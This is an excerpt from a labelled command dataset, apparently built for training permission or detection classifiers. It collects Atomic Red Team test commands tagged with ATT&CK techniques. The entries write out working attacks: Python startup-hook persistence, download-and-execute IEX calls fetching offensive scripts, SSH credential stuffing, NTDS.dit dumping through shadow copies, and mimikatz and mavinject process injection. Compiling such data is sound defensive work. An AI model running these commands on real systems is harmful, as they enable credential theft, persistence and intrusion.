cowWhySo/permission-command-corpus huggingface dataset:
Command: $TempDir = Join-Path $env:TEMP "atomic_pth_win" New-Item -ItemType Directory -Path $TempDir -Force & "#{python_exe}" -m venv "$TempDir\env" $SitePackages = & "$TempDir\env\Scripts\python.exe" -c "import site; print(site.getsitepackages()[1])" "import os, subprocess; os.environ.get('CALC_SPAWNED') or (os.environ.update({'CALC_SPAWNED':'1'}) or subprocess.Popen(['calc.exe']))" | Out-File -Encoding ASCII "$SitePackages\atomic_hook.pth" Get-ChildItem -Path "$SitePackages" | Where-Object { $_.Name -like "*.pth" } & "$TempDir\env\Scripts\python.exe" -c "print('Triggering Hook via atomic_hook...')"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.018
Platform: windows
ATT&CK tags: T1546.018
Source rule: Python Startup Hook - atomic_hook.pth (Windows)
Notes: Executes code by placing a .pth file in the site-packages directory. 
Supports python.exe and python3.exe via input arguments.
Command: $UserDir = & "#{python_exe}" -c "import site; print(site.getusersitepackages())" if (!(Test-Path $UserDir)) { New-Item -ItemType Directory -Path $UserDir -Force } "import os; os.system('calc.exe')" | Out-File -FilePath "$UserDir\usercustomize.py" -Encoding ASCII Get-ChildItem -Path "$UserDir" & "#{python_exe}" -c "print('Triggering Hook via usercustomize...')"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.018
Platform: windows
ATT&CK tags: T1546.018
Source rule: Python Startup Hook - usercustomize.py (Windows)
Notes: Executes code via usercustomize.py. This is a per-user persistence mechanism 
that does not require Administrative privileges.
Command: if [ ! -f /tmp/atomic_hook_poc.txt ] || [ ! -d /tmp/atomic_sitecust_posix ]; then echo "[!] Missing artifact or folder: /tmp/atomic_hook_poc.txt or /tmp/atomic_sitecust_posix — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi rm -rf /tmp/atomic_sitecust_posix echo "[+] Successful Removed atomic_hook.pth" rm -rf /tmp/atomic_hook_poc.txt echo "[+] Successful Removed atomic_hook_poc.txt under /tmp"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.018
Platform: linux
ATT&CK tags: T1546.018
Source rule: Python Startup Hook - atomic_hook.pth (Linux)
Notes: Executes code by creating atomic_hook.pth in the site-packages directory. 
This script runs automatically for every user on the system when Python starts.
Command: PYTHON_EXE=$(command -v #{python_exe} || command -v python) TEMPDIR=$(mktemp -d /tmp/atomic_python_hook_XX) echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt $PYTHON_EXE -m venv "$TEMPDIR/env" SITE_PACKAGES=$("$TEMPDIR/env/bin/#{python_exe}" -c "import site; print(site.getsitepackages()[0])") echo "import subprocess; subprocess.Popen(['open', '-a', '#{exe_name}'])" > "$SITE_PACKAGES/atomic_hook.pth" "$TEMPDIR/env/bin/python" -c "print('Triggering Hook via atomic_hook...')"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.018
Platform: macos
ATT&CK tags: T1546.018
Source rule: Python Startup Hook - atomic_hook.pth (macOS)
Notes: Creates a Python startup hook using a .pth file inside a virtual environment on macOS.
Command: if [ ! -f /tmp/atomic_python_hook_path.txt ] || [ ! -d $(cat /tmp/atomic_python_hook_path.txt) ]; then echo "[!] Artifact missing: /tmp/atomic_python_hook_path.txt — [-] Please Run : Invoke-AtomicTest T1546.018"; exit 0; fi pkill "#{exe_name}" || true [ -f /tmp/atomic_python_hook_path.txt ] && rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt echo "[+] Successful Removed atomic_hook.pth and terminated #{exe_name}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.018
Platform: macos
ATT&CK tags: T1546.018
Source rule: Python Startup Hook - atomic_hook.pth (macOS)
Notes: Creates a Python startup hook using a .pth file inside a virtual environment on macOS.
Command: launchctl submit -l #{label_name} -- #{executable_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.001
Platform: macos
ATT&CK tags: T1569.001
Source rule: Launchctl
Notes: Utilize launchctl
Command: launchctl remove #{label_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.001
Platform: macos
ATT&CK tags: T1569.001
Source rule: Launchctl
Notes: Utilize launchctl
Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library "#{source_file}" C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.009
Platform: windows
ATT&CK tags: T1218.009
Source rule: Regasm Uninstall Method Call Test
Notes: Executes the Uninstall Method, No Admin Rights Required. Upon execution, "I shouldn't really execute either." will be displayed.
Command: del #{output_file} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.009
Platform: windows
ATT&CK tags: T1218.009
Source rule: Regasm Uninstall Method Call Test
Notes: Executes the Uninstall Method, No Admin Rights Required. Upon execution, "I shouldn't really execute either." will be displayed.
Command: Remove-Item #{output_file} -ErrorAction Ignore | Out-Null $parentpath = Split-Path -Path "#{output_file}" Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.009
Platform: windows
ATT&CK tags: T1218.009
Source rule: Regsvcs Uninstall Method Call Test
Notes: Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, "I shouldn't really execute" will be displayed
along with other information about the assembly being installed.
Command: $mypid = #{process_id} mavinject $mypid /INJECTRUNNING "#{dll_payload}" Stop-Process -processname notepad
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.001
Platform: windows
ATT&CK tags: T1055.001
Source rule: Process Injection via mavinject.exe
Notes: Windows 10 Utility To Inject DLLS.

Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.001
Platform: windows
ATT&CK tags: T1055.001
Source rule: WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique
Notes: Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn
Command: cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.004
Platform: linux
ATT&CK tags: T1110.004
Source rule: SSH Credential Stuffing From Linux
Notes: Using username,password combination from a password dump to login over SSH.
Command: cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.004
Platform: linux
ATT&CK tags: T1110.004
Source rule: SSH Credential Stuffing From FreeBSD
Notes: Using username,password combination from a password dump to login over SSH.
Command: cd "PathToAtomicsFolder\..\ExternalPayloads" .\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.004
Platform: windows
ATT&CK tags: T1110.004
Source rule: Brute Force:Credential Stuffing using Kerbrute Tool
Notes: Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack
Command: reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: windows
ATT&CK tags: T1614.001
Source rule: Discover System Language by Registry Query
Notes: Identify System language by querying the registry on an endpoint. 

Upon successful execution, result in number format can be looked up to correlate the language.
Command: localectl status
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: linux
ATT&CK tags: T1614.001
Source rule: Discover System Language with localectl
Notes: Identify System language with the `localectl` command.

Upon successful execution, the key `System Locale` from the output will contain the
`LANG` environment variable that has the 5 character locale result that can be looked
up to correlate the language and territory.
Command: [ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: linux
ATT&CK tags: T1614.001
Source rule: Discover System Language by locale file
Notes: Identify System language with the by reading the locale configuration file.

The locale configuration file contains the `LANG` environment variable which
will contain the 5 character locale that can be looked up to correlate the
language and territory.
Command: env | grep LANG printenv LANG set | grep LANG
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: linux
ATT&CK tags: T1614.001
Source rule: Discover System Language by Environment Variable Query
Notes: Identify System language by checking the environment variables

Upon successful execution, the 5 character locale result can be looked up to
correlate the language and territory. Environment query commands are likely
to run with a pattern match command e.g. `env | grep LANG`

Note: `env` and `printenv` will usually provide the same results. `set` is
also used as a builtin command that does not generate syscall telemetry but
does provide a list of the environment variables.
Command: dism.exe /online /Get-Intl
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: windows
ATT&CK tags: T1614.001
Source rule: Discover System Language with dism.exe
Notes: The Windows utility DISM (Deployment Image Servicing and Management) can be used to display information about international settings and languages on the currently installed Windows image using an elevated terminal.
Command: PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: windows
ATT&CK tags: T1614.001
Source rule: Discover System Language by Windows API Query
Notes: This test executes a custom script called LanguageKeyboardLayout.exe which outputs the values of the following Windows API functions to the user terminal: 

`GetKeyboardLayout`, `GetKeyboardLayoutList`, `GetUserDefaultUILanguage`, `GetSystemDefaultUILanguage`, `GetUserDefaultLangID`.

Documentation for these functions is located [here](https://learn.microsoft.com/en-us/windows/win32/api/winuser/).
Command: wmic /node:#{target_host} os get Locale,OSLanguage,MUILanguages /format:#{format_style}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: windows
ATT&CK tags: T1614.001
Source rule: Discover System Language with WMIC
Notes: WMIC (Windows Management Instrumentation Command-line) is a command-line tool that provides a simplified interface to query and manage Windows system configurations, processes, and hardware information using WMI. 

The command in this test retrieves information about the system's locale, operating system language, and multilingual user interface (MUI) languages.
Command: $info = @{ UILanguage = Get-WinUILanguageOverride UserLanguages = (Get-WinUserLanguageList).LanguageTag -join ', ' SystemLocale = Get-WinSystemLocale CurrentCulture = [System.Globalization.CultureInfo]::CurrentCulture.Name CurrentUICulture = [System.Globalization.CultureInfo]::CurrentUICulture.Name TimeZone = (Get-TimeZone).Id } $info.GetEnumerator() | ForEach-Object { "$($_.Name): $($_.Value)" }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1614.001
Platform: windows
ATT&CK tags: T1614.001
Source rule: Discover System Language with Powershell
Notes: This PowerShell script collects key system settings, such as the UI language, user language preferences, system locale, current culture, UI culture, and time zone, into a hash table. 

It then outputs these settings in a readable key-value format directly to the terminal. The script is simple and efficient for quickly displaying system configuration details.
Command: vssadmin.exe create shadow /for=#{drive_letter}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Create Volume Shadow Copy with vssadmin
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
Command: copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Copy NTDS.dit from Volume Shadow Copy
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin".
A successful test also requires the export of the SYSTEM Registry hive.
This test must be executed on a Windows Domain Controller.
Command: del "#{extract_path}\ntds.dit" >nul 2> nul del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul del "#{extract_path}\SYSTEM_HIVE" >nul 2> nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Copy NTDS.dit from Volume Shadow Copy
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin".
A successful test also requires the export of the SYSTEM Registry hive.
This test must be executed on a Windows Domain Controller.
Command: mkdir #{output_folder} ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Dump Active Directory Database with NTDSUtil
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of
subsequent domain controllers without the need of network-based replication.

Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
Command: rmdir /q /s #{output_folder} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Dump Active Directory Database with NTDSUtil
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of
subsequent domain controllers without the need of network-based replication.

Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
Command: wmic shadowcopy call create Volume=#{drive_letter}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Create Volume Shadow Copy with WMI
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
Command: wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Create Volume Shadow Copy remotely with WMI
Notes: This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
Command: wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Create Volume Shadow Copy remotely (WMI) with esentutl
Notes: This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.
Command: (gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Create Volume Shadow Copy with Powershell
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
Command: vssadmin.exe create shadow /for=#{drive_letter} mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Create Symlink to Volume Shadow Copy
Notes: This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.
Command: mkdir c:\exfil diskshadow.exe /s #{filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Create Volume Shadow Copy with diskshadow
Notes: This test is intended to be run on a domain controller
An alternative to using vssadmin to create a Volume Shadow Copy for extracting ntds.dit
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR #{script_url} -UseBasicParsing) Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Copy NTDS in low level NTFS acquisition via MFT parsing
Notes: This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
Command: remove-item "#{extract_path}\ntds.dit" -force -erroraction silentlycontinue remove-item "#{extract_path}\SYSTEM_HIVE" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Copy NTDS in low level NTFS acquisition via MFT parsing
Notes: This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR #{script_url} -UseBasicParsing) Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit Underlay-Copy -Mode Metadata -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.003
Platform: windows
ATT&CK tags: T1003.003
Source rule: Copy NTDS in low level NTFS acquisition via fsutil
Notes: This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Shellcode execution via VBA
Notes: This module injects shellcode into a newly created process and executes. By default the shellcode is created,
with Metasploit, for use on x86-64 Windows 10 machines.

Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
is required.
Command: "#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Remote Process Injection in LSASS via mimikatz
Notes: Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
Especially useful against domain controllers in Active Directory environments.
It must be executed in the context of a user who is privileged on remote `machine`.

The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>
Command: $notepad = Start-Process notepad -passthru Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Section View Injection
Notes: This test creates a section object in the local process followed by a local section view.
The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. 
A thread is then created in the target process, using the remote section view as start address.
Command: Stop-Process $notepad.pid
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055
Platform: windows
ATT&CK tags: T1055
Source rule: Section View Injection
Notes: This test creates a section object in the local process followed by a local section view.
The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. 
A thread is then created in the target process, using the remote section view as start address.